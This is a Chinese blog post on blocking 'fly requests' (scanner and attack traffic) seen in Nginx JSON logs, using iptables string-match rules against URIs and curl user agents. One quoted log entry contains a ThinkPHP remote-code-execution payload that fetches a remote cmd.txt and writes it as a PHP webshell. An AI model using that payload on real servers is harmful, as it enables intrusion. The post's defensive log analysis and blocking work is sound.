每次检查 Nginx 的访问日志时,都会发现一些不怀好意的请求,我把这些请求称之为「苍蝇请求」。通过它们在 Nginx 访问日志中留下来的信息大致能猜到目的。有的想找网站的后台入口,有的想挂木马,有的想下载可能会存在的备份数据。所以我想通过 iptables 来拦截这类请求。
友情提示:本文需要对 Linux 下的 iptables
命令有基础的了解。如果对它还不熟悉,可以通过《iptables 命令详解和选项参考》这篇文章来快速入门。
认识苍蝇请求
接下来看看我说的「苍蝇请求」长啥样。下面是我截取的一段自己服务器上的 Nginx 访问日志:
{
"@timestamp":"2022-11-22T03:52:06+08:00",
"ip":"xx.xx.xx.xx",
"protocol":"HTTP/1.1",
"method":"GET",
"scheme":"http",
"server":"www.zzxworld.com",
"port":"80",
"uri":"/wp-login.php",
"status":"404",
"ref":"",
"ua":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96"
}
你可能注意到我的 Nginx 日志跟默认的貌似不太一样。这是因为我配置成 JSON 输出格式了。相关的配置可以参考这篇文章:《使用 ElasticSearch + Kibana 搭建 Nginx 日志分析系统》。
通过上面的日志可以看出,这是在判断我是不是 WordPress 程序,并定位我的后台入口。这种其实还好,只能算是边敲侧击的小偷小摸行为。下面这种一上来就直接下蛊的行为显得粗暴了许多:
{
"@timestamp":"2022-11-22T04:59:41+08:00",
"ip":"xx.xx.xx.xx",
"protocol":"HTTP/1.1",
"method":"GET",
"scheme":"https",
"server":"www.zzxworld.com",
"port":"443",
"uri":"//?s=/Home/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=copy&vars%5B1%5D%5B%5D=http://.../cmd.txt&vars%5B1%5D%5B%5D=roeter.php",
"status":"200",
"ref":"",
"ua":"python-requests/2.28.1"
}
只能庆幸我用的不是 WordPress,也不是 ThinkPHP 框架,否则可能会被扫描的更加频繁和深入。
另外还有这种无 HTTP 协议,无 Method,无 User Agent,无 URI 的「四无请求」:
{
"@timestamp":"2022-11-22T07:44:31+08:00",
"ip":"xx.xx.xx.xx",
"protocol":"",
"method":"",
"scheme":"http",
"server":"_",
"port":"80",
"uri":"",
"status":"400",
"ref":"",
"ua":""
}
这种请求还不少,因为没留下任何有价值的线索,所以我目前也不太清楚这类请求到底有何目的。不管啥目的,我只想远离这些无价值请求的骚扰,所以准备用 iptables 来拦截它们。在拦截之前,需要先观察并总结这些请求的特征,然后再使用 iptables 对症下药。
确定拦截方案
以我的观察,大致如下:
- 每天都会有,但 IP 不固定。
- 访问的 URI 资源地址很特殊,比如
wp_login.php
。 - 部分来源的 User agent 比较显眼,类似
curl/7.74
或是python-requests/2.28.1
这样的。一看就不是正经来源的请求。
综上,使用基于 IP 的拦截方式有点被动,也起不到预期效果。所以我想从请求的 URI 和 User agent 入手,通过这些特征来拦截。想要通过这些特征来拦截,就需要使用到 iptables 的 string 扩展。
了解 iptables string 扩展
我对 iptables 的 string 扩展模块也不是很熟,通过查询 Man page of iptables - extensions 页面,大致了解了一下它的选项和用法。
这是一个可以用来匹配指定字符串的模块,它提供了这样几个选项:
选项名称 | 选项说明 |
---|---|
--algo {bm|kmp} |
设置匹配模式。bm 和 kmp 为两种不同的字符串匹配算法。bm 是 Boyer-Moore 算法,kmp 是 Knuth-Pratt-Morris 算法。 |
--from offset |
设置搜索的开始便宜量,默认为 0。 |
--to offset |
设置搜索的结束偏移量,默认为数据包的大小。 |
[!] --string pattern |
匹配指定的字符串规则。 |
[!] --hex-string pattern |
匹配指定的 16 进制格式字符串规则。 |
--icase |
搜索时忽略大小写。 |
下面是一个使用 string 扩展模块的例子,将使用 GET 方法请求 /index.html 的连接信息记录到系统日志:
iptables -A INPUT -p tcp --dport 80 -m string --algo bm \
--string 'GET /index.html' -j LOG
使用 16 进制格式字符串匹配:
iptables -A INPUT -p tcp --dport 80 -m string --algo bm \
--hex-string '|03|www|09|zzxworld|03|com|00|' -j LOG
创建 iptables 拦截规则
参照以上 string 扩展的示例和参数,我照葫芦画瓢,写了一个拦截 wp-login.php
请求地址的规则:
iptables -A INPUT -p tcp --dport 80 \
-m string --icase --algo bm \
--string "wp-login.php" -j DROP
在浏览器上测试了下,只要地址中包含 wp-login.php
的请求就会像卡住了一样,一直等待着服务器端的响应。其它地址都能正常获得服务器端的响应,这说明拦截规则生效了。
举一反三,又写了一个拦截 CURL 命令请求的规则:
iptables -A INPUT -p tcp --dport 80 \
-m string --icase --algo bm \
--string "User-Agent: curl" -j DROP
这次是想验证下 Header 中的 User Agent 特征能否被匹配,结果是肯定的。默认的 curl
命令请求也会被卡住,只有通过 -H
选项另外指定一个不是以 curl
开头的请求头才能正常获得服务器端的响应。
不过就在我认为大功即将告成时,却碰到了一个硬骨头。看上面 string 扩展的选项列表,--string
选项的前面支持 !
反向匹配符号。所以我写了下面这个反向匹配无 User agent 的规则:
iptables -A INPUT -p tcp --dport 80 \
-m string --icase --algo bm \
! --string "User-Agent:" -j DROP
结果测试发现无论有没有 User-Agent,都会被拦截下来。string 扩展模块的帮助也没提供关于这个符号的任何内容,这让我都不太确定 !
符号是不是反向匹配的意思了。总之就是这个匹配空 User Agent 的问题暂未解决,算是一个小遗憾。